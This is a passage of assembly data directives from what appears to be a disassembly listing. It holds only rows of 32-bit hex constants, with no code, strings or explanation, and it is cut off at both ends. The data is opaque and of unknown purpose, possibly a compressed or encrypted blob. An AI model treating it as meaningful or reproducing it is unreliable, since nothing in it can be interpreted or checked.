3FB23D2Eh dd 33722932h, 17803725h, 3E8A3949h, 0BA3E4D14h, 2E9A1C53h dd 0CA70700Fh, 0A36F240Eh, 500B5CE7h, 0A793D2Ah, 1224303Bh dd 67653061h, 2A199737h, 2CD53F3Bh, 96271B85h, 31B41BE6h dd 2D6C60A9h, 0D28AE76h, 3B2CB6C2h, 4FCD2F15h, 3D4FBA21h dd 64186969h, 3E3C3A82h, 18EB2C77h, 6DCE1ADBh, 4E3326E2h dd 2C83A530h, 2A4163D9h, 0BA67C67Ch, 0A8E37B38h, 31A652DDh dd 35ABD0AFh, 1FABD76Fh, 1B864DE3h, 6526B5A7h, 0E728472Ah dd 7B22430Ch, 0B7DCD1C4h, 0B37B3855h, 862EDDABh, 0D3E773Ch dd 3CDEE815h, 0E61EFD74h, 0CC0623FDh, 0B22D3C20h, 2808D91Fh dd 962F012Eh, 96304247h, 3740E8DDh, 3B3BF08Fh, 0DB3C38E5h dd 0D1D01B89h, 0A2D05295h, 0CC0427E3h, 0D6D4A22Eh, 0C41E8B28h dd 35B4D26Ah, 0C7DD5362h, 39B96735h, 3DA49E1Bh, 5E46613Dh dd 0E49EFE76h, 0AD2022BDh, 379479A2h, 2C343529h, 30302E32h dd 342B322Eh, 3A9323CAh, 0F4F95AE1h, 7972ED85h, 0FEE91D0Ch dd 249AEBABh, 0E5260B61h, 0DC2CC0E9h, 2FECA6C5h, 0CBF3F033h dd 0F6E6BE24h, 922C0696h, 0CC383A1Ch, 3EBA445Dh, 0CB6220BAh dd 7E2581FEh, 8FFBC163h, 0E9C4412Bh, 2889308Fh, 49333683h dd 3C3E3E38h, 9D2BD5E3h, 1D6C151Fh, 181DE9Fh, 2644B3FEh dd 0A139A683h, 302428CBh, 0DE702CCFh, 7FCC2A31h, 39373739h dd 3D333B35h, 131B30C1h, 2F1F111Dh, 2B232D21h, 27272925h dd 2C24D529h, 30202E22h, 343C323Eh, 3838363Ah, 33C43A36h dd 143F313Dh, 101E121Ch, 2C222E20h, 0D8262A24h, 2B252927h dd 2F212D23h, 333D313Fh, 2236373Eh, 0B03A4AEBh, 2EEDC2C4h dd 9A12018Bh, 0DA8CF0A9h, 0A3E12BDCh, 0BE14588Ah, 243D140Fh dd 5811287Eh, 0E01E6523h, 0CF3A2027h, 6210B733h, 4B4E18FFh dd 0F4AAE049h, 0D5140952h, 7A384D27h, 7E859B8Ah, 51495A60h dd 0E2CBB332h, 191C7BBBh, 19A03BB3h, 1E1B3E7Ah, 9617CAF5h dd 0A023DDDDh, 1E26264Dh, 2D2B6E29h, 180B7AA0h, 6631F25Bh dd 0BBDFF8BEh, 0A03B6639h, 5F3F265Fh, 1F4C4C20h, 0E4AE2362h dd 7302A12Ch, 2B234328h, 722CC52Fh, 34E2C1BAh, 23BE372Ch dd 336EDFCFh, 376E2D36h, 12154C1Ch, 0AE6F2169h, 3D35F610h dd 0FD62F15h, 84224E9Fh, 9E31629Fh, 649D3461h, 3A6B9C37h dd 3E6F9C91h, 891C49A7h, 73B01F4Ch, 77A88922h, 297AAF26h dd 512C79AAh, 313467C2h, 0BE246030h, 3BBBBCEFh, 3448FB7Fh dd 0B8F36F26h, 591F5B1Ch, 2CA87474h, 28430291h, 0D2A07D36h dd 0CFE62EAEh, 9AC1F202h, 697FE7C2h, 333AA4D1h, 12BBEEB6h dd 1E8D1B95h, 82EA03Ch, 0ACE7AEDDh, 0D1A1DE28h, 4D26ED64h dd 79D2A977h, 273E5063h, 5E68FEBBh, 5FBB322Ch, 431CCC9Ah dd 23917F44h, 0AD62C47Dh, 6D8B32A4h, 0A25EAE17h, 3241040Bh dd 68F506CBh, 1996396Eh, 3E323C34h, 12131B30h, 2E20101Eh dd 0D4813C22h, 2E244BCEh, 0ED398F15h, 61258E59h, 94E7F5DAh dd 792C9F1Fh, 9D1CCBD2h, 42792B96h, 0AE9212BDh, 4037825Ch dd 496A675Bh, 0AD0A8257h, 0BED23A85h, 0D96B2693h, 30984854h dd 212FFA31h, 52302AF9h, 4B900953h, 33936821h, 0CF646C25h dd 39AE2ECBh, 203E4DA7h, 0F031D960h, 3035CE6Fh, 137B77A9h dd 0DD532C76h, 156CFC34h, 6FAA082Fh, 0AD15442Bh, 7AD607E1h dd 1AF28B9h, 1DF9F01Ch, 19FC9B8Dh, 0B916C626h, 29FB34D7h dd 184A900Ah, 0C1AD00DCh, 7775736Fh, 69683F74h, 0C57C2A2Ah dd 3DAF4DAAh, 3D6ABEB2h, 18D06463h, 9C391D3Eh, 14F938F8h dd 0E92CF761h, 2BDCA2A4h, 0C076E7B0h, 2C26E90Ah, 4574D1A8h dd 384DBB37h, 2871C9CDh, 0ADFF351Fh, 0D8203F7Ch, 10591D13h dd 0AC222E20h, 0B7B1AC20h, 106CA228h, 142E6AA5h, 0BA0D7FBBh dd 0AF650A7Bh, 1A7976B5h, 0B5AFEFE7h, 1E6ACC7Eh, 6DAC0659h dd 89AC7405h, 0C206586Eh, 0A42C2C53h, 0B92510B9h, 0A1BDFB7Bh dd 0BCB33857h, 9CB5297Bh, 0F51C5BB8h, 5B04671h, 0F7982EA9h dd 0AD27EE26h, 2DFDA6C3h, 0E051BEA6h, 3634E832h, 3B382747h dd 0C5BFEBC5h, 1DA39CC1h, 0A4101C5Ch, 712022E6h, 9B7A44Dh dd 0C1187A2Bh, 30BD2BEAh, 32031A03h, 3C6423CAh, 3CB43F09h dd 906C3D2Dh, 1D593C80h, 0E7712021h, 27CEA62Ch, 0AF2A2629h dd 672D2D86h, 277A4044h, 61323A40h, 6530BC10h, 0BF7D6E28h dd 49049C1Fh, 0E2066CA2h, 25AFAF04h, 0EA2D37E6h, 3A587A1Ch dd 322C102Ch, 37B55C3Bh, 3EFA3473h, 5E41FCBEh, 0E8F44C2Ah dd 25A1421Fh, 41202343h, 5D4E2536h, 4F3F5A4Fh, 4230492Ch dd 355F5657h, 993A5137h, 544E4C5Ch, 0DF1F3F4Ah, 72BE163Ch dd 2696232Ah, 46233656h, 632B2159h, 5C49482Fh, 345B4144h dd 39243435h, 5E545366h, 433D3EA5h, 3B3A99DAh, 2E3A7920h dd 772639CCh, 0A31A0928h, 0F0A49B0h, 47DA1130h, 5B337734h dd 0F1E197Ch, 3F6E3E56h, 5756F577h, 578B081Fh, 0EEAE0223h dd 0AA275A23h, 0D07DB5C3h, 3AF1B5D0h, 0A23AB408h, 0D22A1C73h dd 7C7D3C0Dh, 96E3E414h, 31203B52h, 0F0DB7272h, 290C73ADh dd 0FED3793Ah, 21146BA3h, 65803337h, 6503B36h, 7A333A3Ah dd 1818D33Ch, 0C87F9C1Dh, 0B5A12922h, 64A53624h, 68ED060Dh dd 316F5209h, 0CB142BD9h, 7C2D36CAh, 3C213B98h, 8F9F383Dh dd 0DF9A1F9Dh, 7FA6652Fh, 0AC752484h, 7EAE0835h, 0A303A624h dd 74B937B0h, 3D3C5F21h, 187630F8h, 57344833h, 1D1D6CE1h dd 26C13EF6h, 0AE652703h, 0BEA4B813h, 83AD180Fh, 36B1627Eh dd 3034B031h, 0C5C7BBC7h, 39E23BE4h, 3DDD1CEEh, 0C09BF706h dd 22341DA0h, 0CD6EAC3Eh, 23DC920Ah, 3E40EE15h, 784437D0h dd 6818796Ah, 0D83FD43Fh, 1FFD443Dh, 0DBF7AE65h, 0AB73DEFDh dd 0E92525E5h, 7A7C4A2Ah, 0D27BC67Dh, 4032E23Dh, 1C883C2Dh dd 913BB7BDh, 71B4ABDh, 66BEB99h, 732AAE20h, 0B02F22AFh dd 0A8747648h, 0EC22E92Ch, 3B1675BDh, 0E363664h, 3F747C79h dd 24E0BE84h, 0DF9C5F1Bh, 2226813Fh, 66A52522h, 2CA2C9D0h dd 2E0960A0h, 20DBF127h, 0BBB530BEh, 3A31FCB4h, 0B75B240Bh dd 59380F7Bh, 2172231Fh, 0E2420732h, 310C6326h, 0D22D2B28h dd 6D316EFBh, 11B0B824h, 53FC361Eh, 3E563D9Ah, 3E1B3D54h dd 20211E39h, 2723323Dh, 0F41733DAh, 0A72A2829h, 0CFD1ADDDh dd 5C393244h, 741038B0h, 0CA081D39h, 6F37F7B8h, 4E5F960Ah dd 12AB7130h, 8613E37Bh, 0DAA4022Fh, 3A288D02h, 0F83D69D3h dd 3E763BD5h, 0B23BF93Fh, 5D53FD3Dh, 7040CF73h, 0A903281Eh dd 243922C2h, 3BBAE957h, 2FA4366Ah, 0F5BA91ECh, 363A343Ch dd 3A363838h, 3E323C34h, 121C14C0h, 2E20101Eh, 2A242C22h dd 26282826h, 2D23D42Ah dd 313F2F21h, 353B333Dh, 39373739h, 32C33B35h, 131B303Eh dd 2F1F111Dh, 2B232D21h, 0D7272925h, 2C242A26h, 30202E22h dd 1D473700h, 0E980DEE9h, 0BC268B32h, 32BFE098h, 0D19C1EFFh dd 0E3A62070h, 2779E051h, 0A52EA04Eh, 2B2F87C4h, 366D3030h dd 2DF97A35h, 3B353937h, 0B32626FCh, 950507D7h, 12C13BDFh dd 2E2295D2h, 5E960CFh, 1E3ECCDEh, 0CE6CB9C0h, 0CA70BF73h dd 0BA29D0F6h, 0DD3DBD35h, 1F1CE4C0h, 21ABDC1Dh, 35CFE2FAh dd 6CA1E425h, 38ECD728h, 0C66BD36Bh, 0D028B8E2h, 2753FE6Bh dd 39083B56h, 818D339Dh, 211ECE5Dh, 7728ECE2h, 81CA770h dd 11A07D39h, 0BBE0A53Fh, 355FDAE9h, 0B5F936B4h, 0D4383945h dd 1B9F375Ch, 96FDA27h, 0A0E1BF2Fh, 0AED9EA74h, 0BD22BA94h dd 9FAA369Ch, 0E8B73EEBh, 61472024h, 2E3918BBh, 0FF2B39F9h dd 1F1D3A1Fh, 4223E09Ch, 0CE75EAA8h, 79298896h, 0AAE2B0Fh dd 3515BE28h, 923210AAh, 9A3E1082h, 0BFED3B1Eh, 0C61D1A3Ch dd 0C70A1E1Bh, 0E1D524E6h, 28CCDB21h, 0A999A2Dh, 32D5D77Eh dd 67357302h, 39BD0F35h, 3F597B5Ch, 8232CAEh, 21CA27F8h dd 24A6F749h, 5027A355h, 463B3769h, 5A2F7E29h, 0CBCC5A35h dd 99603435h, 3B4E332Ch, 182E6E55h, 9F544CF7h, 72324B34h dd 0D694CD73h, 2AB90C5Bh, 342FBC7Eh, 31E6B158h, 3276285Eh dd 1B2C1B44h, 21283D2Dh, 842C5473h, 62C97719h, 20F52753h dd 0A34FA0A7h, 8092877h, 8C1931AFh, 34715BB3h, 0B0603837h dd 4F7B62Bh, 1691B29h, 3554D69Ah, 242673A8h, 287E2126h dd 0EDAF255Fh, 0F7B32D2Eh, 40FDB730h, 0F90B37D6h, 0FD273ED1h dd 0E31BE7BDh, 6F6ADD26h, 24340FAAh, 830B4431h, 4A0CD9h dd 3C8C44h, 547713C2h, 0D9B2A019h, 1F175219h, 0D4BC309Dh dd 171E3F0Dh, 63065DA9h, 0E20B8DCCh, 3B260FDBh, 2444242Ch dd 1F063408h, 322C2282h, 1B091509h, 0EE120439h, 0E8D8019Bh dd 26D5791Bh, 0AB3DEA52h, 19793968h, 2ACC2FFBh, 0E7D1FCC7h dd 0BB642E02h, 0D21F7727h, 6A3DFD84h, 905C7B1Bh, 0C9727A51h dd 6324E290h, 66A54EA6h, 8BC47B50h, 0F7302F9Eh, 3134BCB5h dd 0B8A8B0F0h, 3DAD3B7Bh, 8F95B53Ah, 0AF5F096Dh, 6834F29h dd 49656628h, 334A7A36h, 5BD20C8Dh, 16916F10h, 0D312D20Bh dd 1E9A3818h, 1F7E6D13h, 9D673FBEh, 87E30386h, 0C7E97706h dd 94089643h, 0AC0C9F0Eh, 416196F0h, 24F7086Fh, 9AB7B9B2h dd 0DCAA8350h, 0D7C55437h, 2ADE4877h, 992A2CD1h, 0A1236027h dd 0FFA6206Bh, 164D30A2h, 0F705BF2Bh, 0C9393ADEh, 0BDF7B79Eh dd 3DEF18DEh, 0CAB4ABAh, 0DA26C3E6h, 2A2826F3h, 2C462D40h dd 0B3D82D44h, 0BE30D3CAh, 0C6C7B4CEh, 5D323E2Ah, 19093A21h dd 0A44E1C15h, 0B0427649h, 0FF5CCE77h, 200128B8h, 3D56B8Ah dd 36B02E75h, 6A37DE34h, 7AC4C4E0h, 2F2FC0BEh, 0C3DEAC60h dd 0F315F3E4h, 3B336F38h, 1238ADC0h, 249C2F4Eh, 8DDA1145h dd 44348517h, 0EBAAE932h, 3326BF3Fh, 1DA9E55Bh, 0D912A0CCh dd 84E4BDA3h, 2B1AA873h, 16A90568h, 0F10637F9h, 0B7EFF610h dd 0DAF82F03h, 3F4EB832h, 0DC349D0Eh, 0A6465F78h, 24D0F62Fh dd 0E83A3717h, 486C25CBh, 61F72CE4h, 0EDBFE2C5h, 0B9E2AFB6h dd 193067A7h, 1899572Ah, 6053CE4Ch, 0A716E214h, 1853D9DDh dd 501B28DBh, 14561E6Ch, 95B1B929h, 0B2C856D4h, 293ADAECh dd 902F3FDCh, 0FD188C92h, 0E324B3A1h, 25F48551h, 29A850E8h dd 2D3F76E6h, 0B2739537h, 0E83387F0h, 3B35A229h, 4F3F2DD4h dd 0CAF104Bh, 7220701Ah, 6F51C9A6h, 3B7D2C33h, 3E907E2Fh dd 1610462Bh, 34A43782h, 0CAA34AB6h, 0C16DFC24h, 1FC7132Ah dd 25AF009Fh, 0A41C9F06h, 6B395222h, 2DF4DD26h, 0F414EF35h dd 0BE64F3B1h, 309EDF94h, 22BE30E4h, 1C1438C1h, 200E26D5h dd 242342ADh, 0C61FA72Eh, 59EFEAD6h, 95F2DF3h, 25CC3EE2h dd 0DA3127C6h, 8E348A38h, 0DC2FBF55h, 6E1F7C19h, 6006DB11h dd 35127585h, 7BBE4178h, 0AEFEC52Dh, 36788421h, 37862DDCh dd 393A0B38h, 356E415Ch, 3E10AD9Ch, 272CB213h, 0D095106h dd 2D291C27h, 0CE7B207Bh, 5F3BE44Dh, 0B651C65Ch, 2D335B3Dh dd 2C20183Ah, 0D617EB1Ah, 2C6078BFh, 4493B357h, 0A836B44Fh dd 1FBAAA4Bh, 545E272Eh, 25B66C46h, 0B6701418h, 0FD25B923h dd 0E802B054h, 399DAE1Bh, 0AB3E82DBh, 0A627293Ch, 70D44E30h dd 82F237A5h, 2DB92BBEh, 27C7E16Ch, 25BC23B6h, 0ED264F29h dd 66D194Ch, 0DCEDA2E8h, 99AF3C86h, 32DF3E28h, 0B2AA2204h dd 43893140h, 26063F37h, 0B173908h, 0F6C0D08h, 2D952C65h dd 10317E2Dh, 0D62F1091h, 1F442835h, 1BFD1953h, 13105F4h dd 85030A05h, 3A00E600h, 43105C5h, 219F277Ch, 0E81CB11Eh dd 8719A01Eh, 1486271Bh, 133416C1h, 7310111Ah, 772E377Bh dd 0B73B76E3h, 0BE3F3BA8h, 9E5EFA69h, 239CC51Eh, 0A696CA23h dd 29AF0226h, 2FEA2829h, 0F28AC62Eh, 0F05E9032h, 0ADDF3236h dd 0F88D39FBh, 0F33A163Eh, 0E01DDF99h, 0CB2422E4h, 24E650EAh dd 1EBA1891h, 41BDAC15h, 0E3B936F3h, 0E23E957Ch, 0CBBC4638h dd 87656063h, 98811FBh, 222E3E70h, 29252B2Ch, 2D292727h dd 2C94632Bh, 0B13138E3h, 0BD6624DFh, 261D386Bh, 42B66B6Dh dd 901C3B1Bh, 0AC70F35Dh, 25750B6Dh, 0D4B7DACEh, 3D7BA0D5h dd 193D2F2Fh, 64325992h, 24BAA7DEh, 7F21BA26h, 3A06BB76h dd 0ABBDCAF5h, 0B021FE3Ch, 0CAB25E5h, 0C4282AB1h, 0F0B5A029h dd 0BF2BDE3Ah, 5CF7BFF9h, 0D46B121Dh, 183CBEC1h, 750D9D6Bh dd 49324B21h, 7D27652Ah, 655D2920h, 0AAAE2DA9h, 794F6133h dd 9735B0BCh, 933F3878h, 0EA8E3F19h, 9BA51C9Eh, 22A4E01Fh dd 0C725A5EBh, 2B2C7D78h, 0CE2DA9F3h, 0B7D930AAh, 0B320C433h dd 3AB9C037h, 2605082Ah, 0CF495F2Ah, 2150370Dh, 210FE12Fh dd 22242774h, 0ED2957ABh, 22707738h, 41FDB662h, 55B87639h dd 46D46A26h, 14557EEAh, 0C817F5BDh, 74E1C056h, 2DB5A6AEh dd 6D0723A9h, 0B5A4DE0Fh, 34931522h, 69676437h, 7D436539h dd 633F1BACh, 770D5D2Ch, 71BD6060h, 0A4F525DBh, 600239D1h dd 2F283B73h, 0DB225388h, 643255A2h, 3EEA6C3Ah, 0A6B8B66Bh dd 94051F1Bh, 5113C97h, 0AD49BC63h, 0EBB9A23Ah, 0BB0C0112h dd 62ACA6A4h, 37353068h, 0FA0A2BC7h, 3E1940B6h, 4DB7E82Fh dd 21859D95h, 7F5420F0h, 55A1D8D9h, 5828330Eh, 2114F23h dd 0F1B568F2h, 0FA2EB733h, 5770165Ah, 24716F3Ah, 48481Fh dd 0EAFC6E4h, 81ABAD21h, 1A020C8h, 0D17EBCACh, 0A2D352A7h dd 0B3E2C975h, 0FC971EA5h, 5A7E1631h, 43977F88h, 2BE24504h dd 0A76A2AB4h, 24ABA027h, 6F31750Fh, 3BB9350Ch, 0BC3E3474h dd 79226824h, 7E70666Dh, 1EF59F11h, 3B5521DFh, 6723506Bh dd 6B65E93Dh, 0EE1E3C6Bh, 722971E8h, 8EB9F76Ch, 77027007h dd 62B66F34h, 4A1C303Fh, 0A52FC49Bh, 150C2312h, 3CD70B26h dd 295C07A8h, 1574A648h, 5522432Ch, 69285D2Ah, 5D39DB69h dd 7C18173Fh, 33010E1Ch, 0CC4A6FACh, 33737E5h, 0BD934279h dd 3089C728h, 2A3374h, 69676CE4h, 7C3E2A6Ah, 183F2E7Dh dd 0CE3A08E3h, 21143C22h, 248C25DCh, 98E2B0Dh, 2B4ACC2Eh dd 660302C9h, 0DFA63714h, 3908B930h, 0EA3A594Fh, 0DE1F2A4Eh dd 107D2227h, 24119821h, 1F91BD96h, 151C780Fh, 63BF323Eh dd 0B7603703h, 3E6FA802h dd 2936347Bh, 36861F6Dh, 2695F73Eh, 3527DCDCh, 0D6CBBAEh dd 0C5252B0Eh, 2230298Dh, 15103376h, 2D1C7BBDh, 0FA1CB87Ah dd 95DA041Ah, 0A210189Dh, 0DBDDC221h, 0C4BADDAh, 0D37E1A01h dd 79AF6238h, 0F31F65B1h, 2135B27Fh, 0D43B3AC6h, 97243F51h dd 3BDE4914h, 36DD733Eh, 0C7268504h, 1B660B29h, 0ABC61D29h dd 0B0CA7941h, 0B0E6FC36h, 8B1EADB5h, 3DBE3D3Ah, 0CFEAB2E9h dd 0FC1D934h, 0DCAED323h, 0D92BC1E6h, 0E6A62C8Eh, 132D1ACh dd 9225C7E1h, 3B2DBCBDh, 4B1D0039h, 1E07583Eh, 20547A4Dh dd 4AAC7328h, 8B28494Fh, 2C4F292Ah, 2031FE58h, 354E5A61h dd 0C83D641Ah, 0BD79293Bh, 261BF16Bh, 227B7074h, 25E72209h dd 6621A5F9h, 3529524Ch, 0E26D21ADh, 5D753AB2h, 31334547h dd 0BD46B83Bh, 9AB68F02h, 9C1F421Bh, 0EACA2027h, 69A247A5h dd 2B2C2816h, 0AFFEC52Dh, 0FDB91906h, 0C83035F3h, 0DDD23938h dd 0B4B4BD3Dh, 40153857h, 2F21A97Bh, 0E2A62023h, 2FB9EB37h dd 52E12C2Bh, 0C3BA662Fh, 233572B8h, 0DA693EF0h, 7763F53Ah dd 63281A7Eh, 6D1F1E5Fh, 77FE2922h, 8C292792h, 0CD2D2B53h dd 0A37B74ACh, 6336B367h, 98377605h, 8F383AA2h, 9BEE3D42h dd 22095FCDh, 0F3627F5Ch, 1525BE77h, 2C8AAB7Ah, 0E953AF43h dd 2D523463h, 389604F1h, 24365B46h, 91C1D7A9h, 0E9151E93h dd 0CAB621C2h, 8D27C1CAh, 0F52ACDCEh, 0CBF82DC8h, 33D3FF30h dd 0C84AB89Ch, 7FF9DA18h, 3FDC863Eh, 0ADF4C093h, 0CBE520FDh dd 0E25C488h, 4BC0609Fh, 3C564F39h, 86A5BDA2h, 4D3C34CDh dd 0DB3D3995h, 3E3DC33Dh, 1CFC5FD7h, 2D36DF3Bh, 0E63435A4h dd 0E1403479h, 1D06460Fh, 0BFBD3CAEh, 8CDC2132h, 39575735h dd 57285151h, 1C12552Dh, 6E751277h, 2549304Bh, 0E8314C21h dd 2F41020Eh, 512DC67Dh, 0F0B041D1h, 0D1DE6B71h, 54337A4Bh dd 8DA9367Fh, 0F9F1552h, 667D609Eh, 913C2EE4h, 292F2980h dd 2D2EB236h, 32A53871h, 0B5AE6F2Eh, 21357629h, 7B502EF5h dd 0DA487A17h, 23E57E1Eh, 6824E075h, 0BEF529E5h, 3A6C6AC2h dd 0CC2572CFh, 0DF07B601h, 0EB0A4505h, 240ED508h, 8B28630Bh dd 0C214B12Ah, 2F10DA16h, 541D0513h, 0DA19BE1Fh, 0F06201Bh dd 9502B804h, 0EA0E8900h, 700B230Ch, 942CBC09h, 3827132Ah dd 451B7719h, 0A41F561Dh, 0EE13B911h, 92E2E15h, 0F57EDA15h dd 985E6034h, 92D36873h, 773E5E7Ch, 9954DDADh, 0E2A56BE1h dd 47A8376Eh, 0EBA5A13Bh, 0C7E1A62Dh, 0D321206h, 76DD16F8h dd 6B19F03Ah, 1CF0507Ch, 0D71F5D27h, 20220B3Ch, 2D3F07E5h dd 9E329C4h, 9E2F4C2Dh, 96447FD0h, 0E7343E59h, 20D7D031h dd 26B5C3C5h, 8EDCA239h, 55C543Eh, 8FD076h, 58632DF4h dd 2C5D412Eh, 71275F28h, 0CCC33132h, 3C686574h, 0C554275Ah dd 0B86B049Fh, 0E49C454Ch, 0A9232335h, 684D7571h, 0A6D47F79h dd 6204AE3Fh, 0BEF4F2AAh, 0BE7274BBh, 9BCC7F70h, 5E7FDEBDh dd 4D0E4DDCh, 13123908h, 27ACAD3Ch, 0CB322D2Bh, 38CE2E2Ch dd 933D916Fh, 0D537556Bh, 1F321946h, 15565B7Eh, 4E1A7D07h dd 432837D0h, 0EDA7536h, 0CA6AC3F2h, 0E7A43C3h, 0F2337041h dd 34752413h, 6BA57827h, 6C3C56BBh, 1385FF8h, 30C4205Eh dd 3D384242h, 9634C778h, 29016D27h, 3C316EA4h, 3D75B828h dd 1D6C03BBh, 0BD78723Ah, 4E3A9F3Eh, 171FF777h, 2E027DE0h dd 1D0B4529h, 0F52B8DCDh, 0FE852E8Ah, 93F03296h, 38908E35h dd 963B9D94h, 8C3F999Fh, 0B8921DBBh, 2385A020h, 2784530Eh dd 40272830h, 0FF962D8Ch, 101613C9h, 38121AD7h, 343A3638h dd 0B83E323Ch, 1E121C14h, 0CBFD1321h, 6505A8EDh, 0DF11CA1Fh dd 63140A13h, 8F08B016h, 200F3B0Ah, 56035D0Dh, 9C07A701h dd 0F626FF05h, 4E1B7724h, 0AB1FA119h, 0FD13891Dh, 0DA17DB11h dd 210C2E15h, 0C08010Eh, 9F047B0Ah, 0EA00EB06h, 227C302h dd 7B225420h, 8C1E471Ch, 2AABAD24h, 73A70B0Dh, 54747373h dd 343E72B8h, 2CF3B731h, 0BCF93BF9h, 8B3E3E39h, 0D28D8Ch dd 233DDE20h, 2729252Bh, 2B252927h, 2F212D23h, 3CCD313Fh dd 38363A34h, 343A3638h, 303E323Ch, 0E11D131Bh, 222E2010h dd 249A2BA3h, 22C22B27h, 22B98E0Bh, 2A13C12Fh, 673D9043h dd 68B32027h, 2F217F5Bh, 0F49FD334h, 50202A5Eh, 83D576Bh dd 29282624h, 0F5DB7428h, 146EEF35h, 0CAECF932h, 1E7432C9h dd 2C3E7D3Ah, 0E3995D36h, 1FDD5208h, 25665A17h, 2967FFE5h dd 2C6BE22Ch, 41FC238Ch, 823E9231h, 983747EBh, 3C4AD334h dd 83CB07CDh, 8ACEEF1Fh, 429B0123h, 45266530h, 0F42A583Ch dd 2F5F394Dh, 33432551h, 476236A4h, 977C0C38h, 36EB2014h dd 8A951F8Ah, 2B212F1Fh, 4EDA4E23h, 692985C7h, 8F492D2Bh dd 3A61342Fh, 610BD57h, 6C09D4B3h, 347C3D6Ch, 77187133h dd 25307551h, 2A143748h, 0A22E4D06h, 0C57C3BDBh, 0BB917ACFh dd 37BF6512h, 7D0B67FEh, 0C0D43F3Ah, 959B3E6Dh, 700B1C1Dh dd 0D869234Bh, 0D7776C25h, 2CD3283Ch, 14A3A32Bh, 0F033318Dh dd 25356737h, 3CAF2FC6h, 1B1D3E2Fh, 1E740976h, 6C48234Ah dd 4D294F24h, 0A62C433Ah, 270A29B8h, 32582C30h, 37CDDD66h dd 0B8C5C605h, 0F7B515F8h, 0C5331CF9h, 0A9153A9Dh, 0CE75EA73h dd 0FA2D8E20h, 76A96D3Bh, 238445EFh, 765EC44Ch, 33683976h dd 0F2893BDBh, 0D4990B6Ch, 4B70186Ah, 0A60ECB23h, 0BE3B45h dd 2CDCDA48h, 106E2E9Eh, 0D61D8530h, 0C73A00BBh, 6D380807h dd 2E4C0D74h, 12F52CB3h, 17291122h, 1B6D1561h, 1A20194Ch dd 60F183Dh, 276040Ch, 0EF900ABh, 0AE20CEAh, 2C0708E3h dd 28592A23h, 149A166Eh, 10EF129Bh, 13521108h, 17EE1586h dd 0BCD09FEh, 0E680C3Ch, 15E00B9h, 39DEBB1Ch, 0BF0AFEE0h dd 242090BFh, 34C51883h, 0B92B3406h, 18EDBC29h, 826A6D70h dd 0BD736A32h, 38991097h, 3E30B55Fh, 3CE9DF96h, 2360DC89h dd 0A524C3EAh, 0FD2A8E25h, 2D33D49Bh, 312F2F31h, 352B332Dh dd 39273729h, 3C3C3AB2h, 2FE211FEh, 3272DEDDh, 852E22Dh dd 5F0CE635h, 0E22BA130h, 71A62FA4h, 3472BB35h, 3476BF3Dh dd 3E3DFD5Fh, 923E3E3Dh, 9478005Bh, 55BD2535h, 0D8740BA4h dd 2BF6053Dh, 29442C2Eh, 3158305Ah, 70BF53B4h, 0BA48111Ch dd 7E6F6E3Eh, 5714C21Ah, 0BE482B5Eh, 0AF0126E2h, 63C62F27h dd 94170FA9h, 5D4432AFh, 0A44536B2h, 413BB852h, 583FBD0Fh dd 390FDA22h, 23E1E61Fh, 2465AE0Eh, 0EBBDF531h, 3BEE523Ch dd 69316E29h, 1131F2CCh, 0FBA322B7h, 8F35793Bh, 1DD93E1Fh dd 23BF0337h, 2AC20EF7h, 95D27E7h, 3AEA2E22h, 9076294Eh dd 359B3729h, 0B636F42Dh, 9E3E3479h, 131A1FECh, 30DC1A1Ch dd 763C8061h, 66B2646h, 2C0C0B2Fh, 0DF208C01h, 0F032B1BBh dd 58365A46h, 273E394Ch, 0FB3E7968h, 1EBF4B1Ah, 0C3554551h dd 211490BCh, 0B6988911h, 4F4E093Bh, 725E5C43h, 45373450h dd 94184C52h, 4A4DAC54h, 0B3AF1D3Fh, 7FF01D1Eh, 564B4B22h dd 47514552h, 48419B4Bh, 31D02C2Eh, 36154822h, 0FFC907B3h dd 9D7AFA28h, 5D09FF3Ch, 61495A3Dh, 65E66B71h, 7B272722h dd 40474F41h, 0B64A5668h, 74C23252h, 7D7F6533h, 0FE71DF75h dd 4C3EDE3Ch, 1E4D5C4Fh, 6154805Fh, 6E27E70Ch, 0B5E4A47h dd 7C767A2Bh, 27DE63D8h, 75A792E0h, 6A9A8911h, 1F39D565h dd 0DEDA020Eh, 9D47491Eh dd 10434A0Ah, 8B4AFECFh, 197C8434h, 0A811C3C7h, 2754209Bh dd 0BCB43497h, 614962Ah, 9D0FB0D7h, 2134B646h, 6930E223h dd 0C1846302h, 0AD2BE39Fh, 0E3B017C6h, 0EA328830h, 6A383A30h dd 2BEC3E6Fh, 401EF69h, 0AB175896h, 0F2F6C21h, 2ADEE7EDh dd 23E46A12h, 332F80AEh, 956325E1h, 0C00C4D35h, 3C9B314Ah dd 0BB448F78h, 941CF6F4h, 1B22E1CFh, 0FF2625E5h, 282B2942h dd 7F7C25ACh, 0DBDAFFBBh, 36753B34h, 23263814h, 3EB2E4D4h dd 0D11F692Ah, 0A9315A1Fh, 78310077h, 0A939A127h, 22EF24EFh dd 3030CA2Fh, 27347822h, 32BB8237h, 5FAC7D29h, 969C71FDh dd 0DEDE8E85h, 7CB94320h, 0A7A832B0h, 4CBC4D28h, 0C4A1BB2Fh dd 0B57B25B0h, 5B0A4030h, 9CF2697Eh, 1C97723Eh, 62DD461Fh dd 7F414712h, 0B15EE41Bh, 6E5488AAh, 0F206D109h, 15A12800h dd 0AEB5F337h, 0DDA22D19h, 0F951D538h, 9E247F0Ah, 62983A7h dd 26E16D06h, 612B2DA9h, 932CEC6Eh, 0B051D72h, 0A2943175h dd 7AB71EFAh, 12BC45BAh, 1B9C0638h, 6322FE3Bh, 676BDD22h dd 631E9C23h, 16926FEAh, 0ED4B316Eh, 7F9031F2h, 86C922F5h dd 3996313Bh, 372A1F3Eh, 70241E9Eh, 0E4780563h, 2B7D6E27h dd 0B6CE4FF9h, 3B62BDC1h, 7C815EB0h, 5AD8E574h, 0DD673B6Bh dd 49FD3E2Fh, 720E916Fh, 0B716E67h, 5A7CD472h, 0A6CA8823h dd 0D02F8F64h, 471B3284h, 0D1363634h, 3C1B62FAh, 9EB1D73Fh dd 24975D1Ch, 575A20B1h, 1144137Fh, 441C4128h, 8F18591Ah dd 0B853106h, 0FF20D8Ah, 3A3A01DCh, 14071D05h, 1E242022h dd 1B8D19BFh, 1D0F1F02h, 79121827h, 0AA165110h, 9A63014h dd 0DD20FD3h, 0E8190429h, 0ED02F005h, 1DFC110Fh, 217C1D1Eh dd 0AE242C5Ah, 59A32B66h, 3DA78636h, 3AD92746h, 1743892h dd 0F9443533h, 6200533Ah, 1C7BC90Fh, 4812F54Bh, 44C3ECCEh dd 0D6BF4E25h, 